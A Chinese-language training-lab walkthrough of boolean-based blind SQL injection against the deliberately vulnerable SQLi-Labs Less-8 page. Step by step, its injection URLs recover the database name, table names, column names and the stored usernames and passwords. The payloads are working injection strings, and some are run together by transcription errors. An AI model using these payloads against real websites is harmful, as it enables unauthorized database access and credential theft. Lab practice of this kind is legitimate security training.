关于布尔盲注某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。
一些功能函数的说明length(str):返回字符串 (str)的长度,以字节为单位。substr(str,pos,len):从指定的位置(pos)开始,截取并返回字符串 (str)指定长度(len)的子串。ascii(str):返回字符串 (str)最左边字符的 ASCl码。
1.访问SQLi-Labs 网站在攻击机 Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs 上的SQLi-Labs 网站Less-8。访问的URL为:http : // [靶机IP]/sqli-labs/Less-8 /(注意大小写)
登录后,根据网页提示,给定一个?id=1的参数,即:http://[靶机 IP]/sqli-labs/Less-8 / ?id=1此时页面显示信息为You are in...,显示状态为True。
如果给定一个?id=-1的参数,即:http://[靶机 IP]/sqli-labs/Less-8/ ?id=-1此时页面显示信息为空,显示状态为False.
2.寻找注入点分别使用以下3条payload寻找注入点及判断注入点的类型:http://[靶机 IP]/sqli-labs/Less-8 / ?id=1'运行后页面显示为False !
http://[靶机 IP]/sqli-labs/Less-8 / ?id=1' and '1'='1运行后页面显示为True !
3.盲猜网站当前所在数据库的库名长度不断变化M的值去猜测,如果M不等于N,页面应该显示为False;如果M等假设当前所在数据库的库名长度为N,尝试使用判断语句length(database())=M,于N,页面应该显示为True.例如执行如下payload:http://[靶机IP]/sqli-labs/Less-8/?id=1' and length( database( ))=7--+显示结果为False,说明网站当前所在数据库的库名长度不是7个字符!
http:// [靶机 IP]/sqli-labs/Less-8/?id=1' and length(database( ) )=8--+显示结果为True,说明网站当前所在数据库的库名长度为8个字符!
4.盲猜网站当前所在数据库的库名字符串本步骤通过逐个字母盲猜的方式进行。假设库名字符串的第1个字母为a,那么条件判断语句 substr(库名字符串,1,1)='a’以及ascii(substr(库名字符串,1,1))=97返回的结果均应为True (小写字母a的ASCII码为97) ;假设库名字符串的第2个字母为b,那么条件判断语句substr(库名字符串,2,1))='b’以及ascii(substr(库名字符串,2,1))=98返回的结果均应为True (写字母b的ASCIl码为98) ;以此类推。猜测库名的第1个字母:http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='s '--+或http:/ / [靶机 IP]/sqli-labs/Less-8 / ?id=1' andascii(substr(database(),1,1))=115--+库名的第1个字母为s。
猜测库名的第2个字母:http:// [靶机IP]/sqli-labs/Less-8/?id=1' and substr(database( ),2,1)='e '--+或http://[靶机IP]/sqli-labs/Less-8 / ?id=1' andascii(substr(database(),2,1))=101--+库名的第2个字母为e。
5.盲猜数据库security 的全部表名猜测第1张表的表名猜测第1张表的表名的第1个字符:http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name frominformation_schema.tables where table_schema='security' limit0,1),1,1)='e'--+或http://[靶机 IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_namefrom information_schema.tables where table_schema= 'security' limit0,1),1,1))=101--+第1张表的表名的第1个字符为e。
猜测第1张表的表名的第2个字符:http:// [靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name frominformation_schema.tables where table_schema='security' limit0,1),2,1)= 'm '--或http:// [靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_namefrom information_schema.tables where table_schema='security' limit
0,1),2,1))=109--+
6.盲猜users表的全部字段名
(1)猜测第1个字段名猜测第1个字段名的第1个字符:
http:// [靶机IP]/sqli-labs/Less-8/?id=1' and substr((select column_name frominformation_schema.columns where table_schema= 'security' and
table_name='users' limit 0,1),1,1)='i'--+或http:// [靶机 IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select column_namefrom information_schema.columns where table_schema='security' and
table_name='users' limit 0,1),1,1))=105--+
第1个字段名的第1个字符为i。
7.盲猜users表username和l password字段的全部值
(1)猜测第1组数据猜测第1组数据的第1个字符:
http://[靶机 IP]/sqli-labs/Less-8/?id=1' and substr( (select
concat_ws ( ' , ' ,username ,password ) from security.users limit 0,1),1,1)='D'--+或
http : //[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr( (select
concat_ws( ' , ' , username,password ) from security.users limit 0,1),1,1))=68--+
第1组数据的第1个字符为D。